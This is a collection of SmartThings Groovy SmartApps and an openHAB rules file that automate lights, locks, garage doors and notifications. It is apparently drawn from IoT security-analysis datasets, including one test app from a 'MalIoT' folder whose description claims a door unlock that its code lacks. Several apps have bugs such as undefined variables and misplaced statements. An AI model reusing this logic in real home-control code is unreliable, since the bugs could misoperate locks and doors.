48 | } 49 | 50 | // TODO: implement event handlers -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TimeDependentDoors.txt.groovy: -------------------------------------------------------------------------------- 1 | definition( 2 | name: "Time Dependent Doors", 3 | namespace: "jrichard", 4 | author: "Jacob Richard", 5 | description: "Time dependent door actions for Brad", 6 | category: "Convenience", 7 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 8 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 9 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 10 | 11 | 12 | preferences { 13 | section("When I arrive and leave..."){ 14 | input "person", "capability.presenceSensor", title: "Who?", multiple: false 15 | } 16 | section("Unlock Which Door at Night..."){ 17 | input "nightdoor", "capability.lock", multiple: false 18 | } 19 | section("Turn on Which Light at Night..."){ 20 | input "nightlights", "capability.switch", multiple: true 21 | } 22 | section("Unlock Which Door During the Day..."){ 23 | input "daydoor", "capability.lock", multiple: false 24 | } 25 | } 26 | 27 | 28 | def installed() { 29 | initialize() 30 | } 31 | 32 | def updated() { 33 | unsubscribe() 34 | initialize() 35 | } 36 | 37 | def initialize() { 38 | subscribe(person, "presence", presenceHandler) 39 | } 40 | 41 | def presenceHandler(evt) { 42 | def data = getWeatherFeature( "astronomy", zipcode ) 43 | def hour = data.moon_phase.current_time.hour.toInteger() 44 | if (evt.value == 'present') { 45 | if (hour > 6) { 46 | daydoor.unlock() 47 | } 48 | else if (hour < 7) { 49 | nightdoor.unlock() 50 | nightlights.on() 51 | } 52 | } 53 | } 54 | 55 | 56 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/ControlSwitchBasedUponPlayStatus.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Control Switch Based Upon Play Status 3 | * 4 | * Copyright 2014 Josh Bohde 5 | * 6 | */ 7 | definition( 8 | name: "Control Switch Based Upon Play Status", 9 | namespace: "joshbohde", 10 | author: "Josh Bohde", 11 | description: "Turn things on and off based upon the play status of a media player", 12 | category: "Convenience", 13 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 14 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 15 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 16 | 17 | 18 | preferences { 19 | section("When the player plays..."){ 20 | input "player", "capability.musicPlayer", title: "Which Player?" 21 | } 22 | 23 | section("Turn on a switch..."){ 24 | input "switches", "capability.switch", multiple: true 25 | 26 | } 27 | } 28 | 29 | def installed() { 30 | log.debug "Installed with settings: ${settings}" 31 | 32 | initialize() 33 | } 34 | 35 | def updated() { 36 | log.debug "Updated with settings: ${settings}" 37 | 38 | unsubscribe() 39 | initialize() 40 | } 41 | 42 | def initialize() { 43 | subscribe(player, "status", handler) 44 | } 45 | 46 | 47 | def handler(evt) { 48 | log.debug "$evt.value: $evt, $settings" 49 | log.trace "Turning on switches: $switches" 50 | if(evt.value == "playing" || evt.value == "paused"){ 51 | unschedule('offHandler') 52 | switches.on() 53 | }else{ 54 | runIn(2 * 60, 'offHandler') 55 | } 56 | } 57 | 58 | 59 | def offHandler(){ 60 | log.debug "running off handler" 61 | switches.off() 62 | } 63 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/DoorsUnlocked.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Door's Unlocked 3 | * 4 | * Author: Jordan Thurston 5 | * Date: 2014-05-21 6 | */ 7 | 8 | // Automatically generated. Make future change here. 9 | definition( 10 | name: "Door's Unlocked", 11 | namespace: "", 12 | author: "jthurston422@gmail.com", 13 | description: "Remind me if I leave the door unlocked.", 14 | category: "Safety & Security", 15 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 16 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience%402x.png" 17 | ) 18 | 19 | preferences { 20 | section("When I leave...") { 21 | input "presence1", "capability.presenceSensor", title: "Who?", multiple: true 22 | } 23 | section("Check the lock...") { 24 | input "lock1","capability.lock", multiple: true 25 | input "spam", "enum", title: "Send Me Notifications?", metadata: [values: ["Yes","No"]] 26 | } 27 | } 28 | 29 | def installed() 30 | { 31 | subscribe(presence1, "presence", presence) 32 | } 33 | 34 | def updated() 35 | { 36 | unsubscribe() 37 | subscribe(presence1, "presence", presence) 38 | } 39 | 40 | def presence(evt) 41 | { 42 | def nobodyHome = presence1.find{it.currentPresence == "present"} == null 43 | if (nobodyHome) { 44 | def anyUnlocked = lock1.count{it.currentLock == "locked"} != lock1.size() 45 | if (anyUnlocked) { 46 | log.trace "$evt.value: $evt, $settings" 47 | log.debug "Everyone left and the ${lock1} is unlocked, sending push message to user" 48 | sendMessage("You left the ${lock1} unlocked!") 49 | } 50 | lock1.lock() 51 | } 52 | } 53 | 54 | def sendMessage(msg) { 55 | if (spam == "Yes") { 56 | sendPush msg 57 | } 58 | } -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/cenario.rules: -------------------------------------------------------------------------------- 1 | // Cenario 2 | 3 | rule "Cenario térreo" 4 | when 5 | Item Cenario changed 6 | then 7 | // 1 = Escurinho 8 | if (Cenario.state == 1) 9 | { 10 | 11 | Luz_gTER_SalaEstar_Jardim.sendCommand(ON) 12 | Luz_gTER_SalaEstar_Arandela.sendCommand(ON) 13 | Luz_gTER_SalaTV_SpotTV.sendCommand(OFF) 14 | Luz_gTER_SalaTV_SpotJanelaTV.sendCommand(OFF) 15 | Luz_gTER_SalaEstar_SpotEscada.sendCommand(OFF) 16 | Luz_gTER_SalaEstar_SpotArandela.sendCommand(OFF) 17 | Luz_gTER_SalaTV_Teto.sendCommand(OFF) 18 | gTER_Jantar.sendCommand(OFF) 19 | gTER_Cozinha.sendCommand(OFF) 20 | gTER_Varanda.sendCommand(OFF) 21 | } 22 | 23 | // 2 = Leitura 24 | if (Cenario.state == 2) 25 | { 26 | Luz_gTER_SalaEstar_SpotEscada.sendCommand(ON) 27 | Luz_gTER_SalaEstar_Jardim.sendCommand(ON) 28 | Luz_gTER_SalaEstar_SpotArandela.sendCommand(ON) 29 | Luz_gTER_SalaEstar_Arandela.sendCommand(ON) 30 | Luz_gTER_SalaTV_SpotTV.sendCommand(ON) 31 | Luz_gTER_SalaTV_SpotJanelaTV.sendCommand(ON) 32 | Luz_gTER_SalaTV_Teto.sendCommand(ON) 33 | gTER_Jantar.sendCommand(OFF) 34 | gTER_Cozinha.sendCommand(OFF) 35 | gTER_Varanda.sendCommand(OFF) 36 | } 37 | 38 | // 3 = Jantar 39 | if (Cenario.state == 3) 40 | { 41 | Luz_gTER_SalaEstar_SpotEscada.sendCommand(ON) 42 | Luz_gTER_SalaEstar_Jardim.sendCommand(ON) 43 | Luz_gTER_SalaEstar_SpotArandela.sendCommand(ON) 44 | Luz_gTER_SalaEstar_Arandela.sendCommand(ON) 45 | Luz_gTER_SalaTV_SpotTV.sendCommand(ON) 46 | Luz_gTER_SalaTV_SpotJanelaTV.sendCommand(ON) 47 | Luz_gTER_SalaTV_Teto.sendCommand(OFF) 48 | Luz_gTER_Jantar_Teto.sendCommand(ON) 49 | Luz_gTER_Jantar_Spot.sendCommand(ON) 50 | gTER_Varanda.sendCommand(OFF) 51 | } 52 | 53 | end 54 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group1/ID12AlarmSoundsTurnOnLights+.groovy: -------------------------------------------------------------------------------- 1 | /* 2 | * Safe alarm 3 | * Turn on your lights and unlock the door when there is a smoke 4 | * Author: Z. Berkay Celik 5 | * The app is created by Z. Berkay Celik 6 | * Email: zbc102@cse.psu.edu 7 | * Notes: Though the functionality of the app is benign, the apps might be chained to validate a property. 8 | * Simulator does not support smokeDetector, error "grails.validation.ValidationException: Validation Error(s) occurred during save():" 9 | */ 10 | 11 | definition( 12 | name: "safe alarm", 13 | namespace: "Soteria", 14 | author: "Soteria", 15 | description: "This SmartApp turns on your lights and unlocks the door when there is a smoke for your safety", 16 | category: "Safety & Security", 17 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 18 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 19 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 20 | 21 | 22 | preferences { 23 | section("Make your home safe") { 24 | input "smoke", "capability.smokeDetector", title: "smoke" 25 | input "alarm", "capability.alarm", title: "alarm" 26 | input "mySwitch", "capability.switch", title: "Turn on all light switches for your safety", required: true, multiple: true 27 | } 28 | } 29 | 30 | def installed() { 31 | initialize() 32 | } 33 | 34 | def updated() { 35 | unsubscribe() 36 | initialize() 37 | } 38 | 39 | def initialize() { 40 | subscribe(smoke, "smoke", smokeHandler) 41 | } 42 | 43 | def smokeHandler(evt) { 44 | if(evt.value == "detected") { 45 | alarm.on() 46 | mySwitch?.on() 47 | }else if(evt.value == "clear") { 48 | alarm.off() 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/BigTurnOFF.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Big Turn OFF 14 | * 15 | * Author: SmartThings 16 | */ 17 | definition( 18 | name: "Big Turn OFF", 19 | namespace: "smartthings", 20 | author: "SmartThings", 21 | description: "Turn your lights off when the SmartApp is tapped or activated", 22 | category: "Convenience", 23 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet.png", 24 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet@2x.png" 25 | ) 26 | 27 | preferences { 28 | section("When I touch the app, turn off...") { 29 | input "switches", "capability.switch", multiple: true 30 | } 31 | } 32 | 33 | def installed() 34 | { 35 | subscribe(location, changedLocationMode) 36 | subscribe(app, appTouch) 37 | } 38 | 39 | def updated() 40 | { 41 | unsubscribe() 42 | subscribe(location, changedLocationMode) 43 | subscribe(app, appTouch) 44 | } 45 | 46 | def changedLocationMode(evt) { 47 | log.debug "changedLocationMode: $evt" 48 | switches?.off() 49 | } 50 | 51 | def appTouch(evt) { 52 | log.debug "appTouch: $evt" 53 | switches?.off() 54 | } 55 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/BigTurnON.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Big Turn ON 14 | * 15 | * Author: SmartThings 16 | */ 17 | 18 | definition( 19 | name: "Big Turn ON", 20 | namespace: "smartthings", 21 | author: "SmartThings", 22 | description: "Turn your lights on when the SmartApp is tapped or activated.", 23 | category: "Convenience", 24 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet.png", 25 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet@2x.png" 26 | ) 27 | 28 | preferences { 29 | section("When I touch the app, turn on...") { 30 | input "switches", "capability.switch", multiple: true 31 | } 32 | } 33 | 34 | def installed() 35 | { 36 | subscribe(location, changedLocationMode) 37 | subscribe(app, appTouch) 38 | } 39 | 40 | def updated() 41 | { 42 | unsubscribe() 43 | subscribe(location, changedLocationMode) 44 | subscribe(app, appTouch) 45 | } 46 | 47 | def changedLocationMode(evt) { 48 | log.debug "changedLocationMode: $evt" 49 | switches?.on() 50 | } 51 | 52 | def appTouch(evt) { 53 | log.debug "appTouch: $evt" 54 | switches?.on() 55 | } 56 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/OpenGarage.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Open Garage 3 | * 4 | * Author: Tariq Ali (tasi@mail.com) 5 | * Date: 2013-09-07 6 | */ 7 | 8 | // 9 | definition( 10 | name: "Open Garage", 11 | namespace: "", 12 | author: "tasi@mail.com", 13 | description: "Open garage when presence detected only if Garage door is closed", 14 | category: "Convenience", 15 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 16 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience%402x.png", 17 | oauth: true 18 | ) 19 | 20 | preferences { 21 | section("When I arrive..."){ 22 | input "presence1", "capability.presenceSensor", multiple: true, title: "Who Arrives?" 23 | } 24 | section("If Garage door closed..."){ 25 | input "GarageDoorContact", "capability.contactSensor", title: "Is door Closed or Open?" 26 | } 27 | section("Open Garage Door..."){ 28 | input "GarageDoorOpener", "capability.switch", title: "Open which door?" 29 | } 30 | 31 | } 32 | 33 | def installed() 34 | { 35 | subscribe(presence1, "presence", presenceHandler) 36 | subscribe(GarageDoorContact, "contact.open", contactOpenHandler) 37 | } 38 | 39 | def updated() 40 | { 41 | unsubscribe() 42 | subscribe(presence1, "presence", presenceHandler) 43 | subscribe(GarageDoorContact, "contact.open", contactOpenHandler) 44 | } 45 | 46 | def contactOpenHandler(evt) 47 | { 48 | def GarageDoorPosition = evt.value 49 | } 50 | 51 | def presenceHandler(evt) 52 | { 53 | def currentPresence = evt.value 54 | if (currentPresence == "present") { 55 | if (GarageDoorPosition == "closed") { 56 | GarageDoorOpener.on() 57 | GarageDoorOpener.off(delay: 3000) 58 | } 59 | } 60 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/WalkGentleIntoThatGoodNight.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Walk Gentle Into That Good Night 3 | * 4 | * Author: oneaccttorulethehouse@gmail.com 5 | * Date: 2014-02-01 6 | * 7 | * Borrowed heavily from Smart Nightlight and Big Turn OFF 8 | * 9 | * This app will turn off your lights after a set number minutes and then change the mode. 10 | * Works like Darken Behind Me without the need for motion sensors. 11 | * 12 | * 13 | */ 14 | preferences { 15 | section("When I touch the app turn these lights off"){ 16 | input "switches", "capability.switch", multiple: true, required:true 17 | } 18 | section("And change to this mode...") { 19 | input "newMode", "mode", title: "Mode?" 20 | } 21 | section("After so many minutes (optional)"){ 22 | input "waitfor", "number", title: "Off after (default 2)", required: false 23 | } 24 | } 25 | 26 | 27 | def installed() 28 | { 29 | log.debug "Installed with settings: ${settings}" 30 | log.debug "Current mode = ${location.mode}" 31 | subscribe(app, appTouch) 32 | } 33 | 34 | 35 | def updated() 36 | { 37 | log.debug "Updated with settings: ${settings}" 38 | log.debug "Current mode = ${location.mode}" 39 | unsubscribe() 40 | subscribe(app, appTouch) 41 | } 42 | 43 | def appTouch(evt) { 44 | log.debug "changeMode, location.mode = $location.mode, newMode = $newMode, location.modes = $location.modes" 45 | if (location.mode != newMode) { 46 | setLocationMode(newMode) 47 | log.debug "Changed the mode to '${newMode}'" 48 | } else { 49 | log.debug "New mode is the same as the old mode, leaving it be" 50 | } 51 | log.debug "appTouch: $evt" 52 | def delay = (waitfor != null && waitfor != "") ? waitfor * 60000 : 120000 53 | switches.off(delay: delay) 54 | } 55 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LightTurnonClosed.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Light Turn on Closed 3 | * 4 | * Copyright 2015 Joseph 5 | * 6 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 7 | * in compliance with the License. You may obtain a copy of the License at: 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 12 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 13 | * for the specific language governing permissions and limitations under the License. 14 | * 15 | */ 16 | definition( 17 | name: "Light Turn on Closed", 18 | namespace: "Light Control", 19 | author: "Joseph", 20 | description: "Turn on when door or window closes", 21 | category: "Convenience", 22 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 23 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 24 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 25 | 26 | 27 | preferences { 28 | section ("When a Door Closes...") { 29 | input "contact1", "capability.contactSensor", title: "Where?" 30 | } 31 | section ("Turn on a light...") { 32 | input "switch1", "capability.switch" 33 | } 34 | } 35 | 36 | def installed() 37 | { 38 | subscribe(contact1, "contact.closed", contactClosedHandler) 39 | } 40 | 41 | def updated() 42 | { 43 | unsubscribe() 44 | subscribe (contact1, "contact.closed", contactClosedHandler) 45 | } 46 | 47 | def contactClosedHandler(evt) { 48 | switch1.on() 49 | } -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/feed-my-pet.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Feed My Pet 14 | * 15 | * Author: SmartThings 16 | */ 17 | definition( 18 | name: "Feed My Pet", 19 | namespace: "smartthings", 20 | author: "SmartThings", 21 | description: "Setup a schedule for when your pet is fed. Purchase any SmartThings certified pet food feeder and install the Feed My Pet app, and set the time. You and your pet are ready to go. Your life just got smarter.", 22 | category: "Pets", 23 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/dogfood_feeder.png", 24 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/dogfood_feeder@2x.png" 25 | ) 26 | 27 | preferences { 28 | section("Choose your pet feeder...") { 29 | input "feeder", "device.PetFeederShield", title: "Where?" 30 | } 31 | section("Feed my pet at...") { 32 | input "time1", "time", title: "When?" 33 | } 34 | } 35 | 36 | def installed() 37 | { 38 | schedule(time1, "scheduleCheck") 39 | } 40 | 41 | def updated() 42 | { 43 | unschedule() 44 | schedule(time1, "scheduleCheck") 45 | } 46 | 47 | def scheduleCheck() 48 | { 49 | log.trace "scheduledFeeding" 50 | feeder?.feed() 51 | } 52 | -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/garage-door-opener.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Garage Door Opener 14 | * 15 | * Author: SmartThings 16 | */ 17 | definition( 18 | name: "Garage Door Opener", 19 | namespace: "smartthings", 20 | author: "SmartThings", 21 | description: "Open your garage door when a switch is turned on.", 22 | category: "Convenience", 23 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/garage_outlet.png", 24 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/garage_outlet@2x.png" 25 | ) 26 | 27 | preferences { 28 | section("When the garage door switch is turned on, open the garage door...") { 29 | input "switch1", "capability.switch" 30 | } 31 | } 32 | 33 | def installed() { 34 | subscribe(app, appTouchHandler) 35 | subscribeToCommand(switch1, "on", onCommand) 36 | } 37 | 38 | def updated() { 39 | unsubscribe() 40 | subscribe(app, appTouchHandler) 41 | subscribeToCommand(switch1, "on", onCommand) 42 | } 43 | 44 | def appTouch(evt) { 45 | log.debug "appTouch: $evt.value, $evt" 46 | switch1?.on() 47 | } 48 | 49 | def onCommand(evt) { 50 | log.debug "onCommand: $evt.value, $evt" 51 | switch1?.off(delay: 3000) 52 | } 53 | -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/monitor-on-sense.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Monitor on Sense 3 | * 4 | * Copyright 2014 Rachel Steele 5 | * 6 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 7 | * in compliance with the License. You may obtain a copy of the License at: 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 12 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 13 | * for the specific language governing permissions and limitations under the License. 14 | * 15 | */ 16 | definition( 17 | name: "Monitor on Sense", 18 | namespace: "resteele", 19 | author: "Rachel Steele", 20 | description: "Turn on switch when vibration is sensed", 21 | category: "My Apps", 22 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 23 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 24 | oauth: [displayName: "Monitor on Vibrate", displayLink: ""]) 25 | 26 | 27 | preferences { 28 | section("When vibration is sensed...") { 29 | input "accelerationSensor", "capability.accelerationSensor", title: "Which Sensor?" 30 | } 31 | section("Turn on switch...") { 32 | input "switch1", "capability.switch" 33 | } 34 | } 35 | 36 | 37 | def installed() { 38 | subscribe(accelerationSensor, "acceleration.active", accelerationActiveHandler) 39 | } 40 | 41 | def updated() { 42 | unsubscribe() 43 | subscribe(accelerationSensor, "acceleration.active", accelerationActiveHandler) 44 | } 45 | 46 | 47 | def accelerationActiveHandler(evt) { 48 | switch1.on() 49 | } 50 | -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/notify-me-when-it-opens.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Notify Me When It Opens 14 | * 15 | * Author: SmartThings 16 | */ 17 | definition( 18 | name: "Notify Me When It Opens", 19 | namespace: "smartthings", 20 | author: "SmartThings", 21 | description: "Get a push message sent to your phone when an open/close sensor is opened.", 22 | category: "Convenience", 23 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/window_contact.png", 24 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/window_contact@2x.png" 25 | ) 26 | 27 | preferences { 28 | section("When the door opens..."){ 29 | input "contact1", "capability.contactSensor", title: "Where?" 30 | } 31 | } 32 | 33 | def installed() 34 | { 35 | subscribe(contact1, "contact.open", contactOpenHandler) 36 | } 37 | 38 | def updated() 39 | { 40 | unsubscribe() 41 | subscribe(contact1, "contact.open", contactOpenHandler) 42 | } 43 | 44 | def contactOpenHandler(evt) { 45 | log.trace "$evt.value: $evt, $settings" 46 | 47 | log.debug "$contact1 was opened, sending push message to user" 48 | sendPush("Your ${contact1.label ?: contact1.name} was opened") 49 | } 50 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/avisamecuandosemueva.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * cuando se mueva el sensor avisa y manda la temperatura 3 | * 4 | * Author: Orlando Zuiga 5 | */ 6 | preferences { 7 | section("Cuando se detecte movimiento...") { 8 | input "accelerationSensor", "capability.accelerationSensor", title: "Donde?" 9 | } 10 | section("Monitor de temperatura...") { 11 | input "temperatureSensor1", "capability.temperatureMeasurement" 12 | } 13 | } 14 | 15 | def installed() { 16 | subscribe(accelerationSensor, "acceleration.active", accelerationActiveHandler) 17 | subscribe(temperatureSensor1, "temperature", temperatureHandler) 18 | } 19 | 20 | def updated() { 21 | unsubscribe() 22 | subscribe(accelerationSensor, "acceleration.active", accelerationActiveHandler) 23 | subscribe(temperatureSensor1, "temperature", temperatureHandler) 24 | } 25 | 26 | 27 | // Para que no mandae y mande mensajes 28 | def escaladesegundos = 5 29 | def CuantoTiempoHace = new Date(now() - (1000 * escaladesegundos)) 30 | def EventosRecientes = accelerationSensor.eventsSince(CuantotiempoHace) 31 | log.trace "Found ${EventosRecientes?.size() ?: 0} eventos en los ultimos $escaladesegundos segundos" 32 | def Yamandepopup = EventosRecientes.count { it.value && it.value == "active" } > 1 33 | 34 | if (Yamandepopup) { 35 | log.debug "ya se mando un Popup en los ultimos $deltaSeconds segundos" 36 | 37 | } else { 38 | 39 | log.debug "$accelerationSensor fue movido" 40 | sendPush("${accelerationSensor.label ?: accelerationSensor.name} fue movido esa madre y esta a $temperature grados farenheit") 41 | 42 | 43 | 44 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/ImprovedPowerAllowance.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Improved Power Allowance 3 | * 4 | * Author: chrisb 5 | * 6 | * Based on Power Allowance by SmartThings 7 | * 8 | * This program using runIn instead of a delay option. This prevents 'stacking' of off commands. 9 | */ 10 | 11 | // Automatically generated. Make future change here. 12 | definition( 13 | name: "Improved Power Allowance", 14 | namespace: "", 15 | author: "seateabee@gmail.com", 16 | description: "An improvement on power allowance. If the switch/outlet is powered off prior to the 'time out,' then the scheduled time off is cancelled.", 17 | category: "Green Living", 18 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 19 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience%402x.png" 20 | ) 21 | 22 | preferences { 23 | section("When a switch turns on...") { 24 | input "theSwitch", "capability.switch" 25 | } 26 | section("Turn it off how many minutes later?") { 27 | input "minutesLater", "number", title: "When?" 28 | } 29 | } 30 | 31 | def installed() { 32 | sendPush "Installed with settings: ${settings}" 33 | subscribe(theSwitch, "switch.on", switchOnHandler, [filterEvents: true]) 34 | } 35 | 36 | def updated() { 37 | sendPush "Updated with settings: ${settings}" 38 | unsubscribe() 39 | subscribe(theSwitch, "switch.on", switchOnHandler, [filterEvents: true]) 40 | } 41 | 42 | def switchOnHandler(evt) { 43 | // sendPush "Switch ${theSwitch} turned: ${evt.value}" 44 | def delay = minutesLater * 60 45 | // sendPush "Turning off in ${minutesLater} minutes (${delay}s)" 46 | runIn(delay, turnOff) 47 | } 48 | 49 | def turnOff() { 50 | // sendPush "Turning off ${theSwitch} now." 51 | theSwitch.off() 52 | } -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/turn-it-on-when-it-opens.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Turn It On When It Opens 14 | * 15 | * Author: SmartThings 16 | */ 17 | definition( 18 | name: "Turn It On When It Opens", 19 | namespace: "smartthings", 20 | author: "SmartThings", 21 | description: "Turn something on when an open/close sensor opens.", 22 | category: "Convenience", 23 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet.png", 24 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet@2x.png" 25 | ) 26 | 27 | preferences { 28 | section("When the door opens..."){ 29 | input "contact1", "capability.contactSensor", title: "Where?" 30 | } 31 | section("Turn on a light..."){ 32 | input "switches", "capability.switch", multiple: true 33 | } 34 | } 35 | 36 | 37 | def installed() 38 | { 39 | subscribe(contact1, "contact.open", contactOpenHandler) 40 | } 41 | 42 | def updated() 43 | { 44 | unsubscribe() 45 | subscribe(contact1, "contact.open", contactOpenHandler) 46 | } 47 | 48 | def contactOpenHandler(evt) { 49 | log.debug "$evt.value: $evt, $settings" 50 | log.trace "Turning on switches: $switches" 51 | switches.on() 52 | } 53 | 54 | -------------------------------------------------------------------------------- 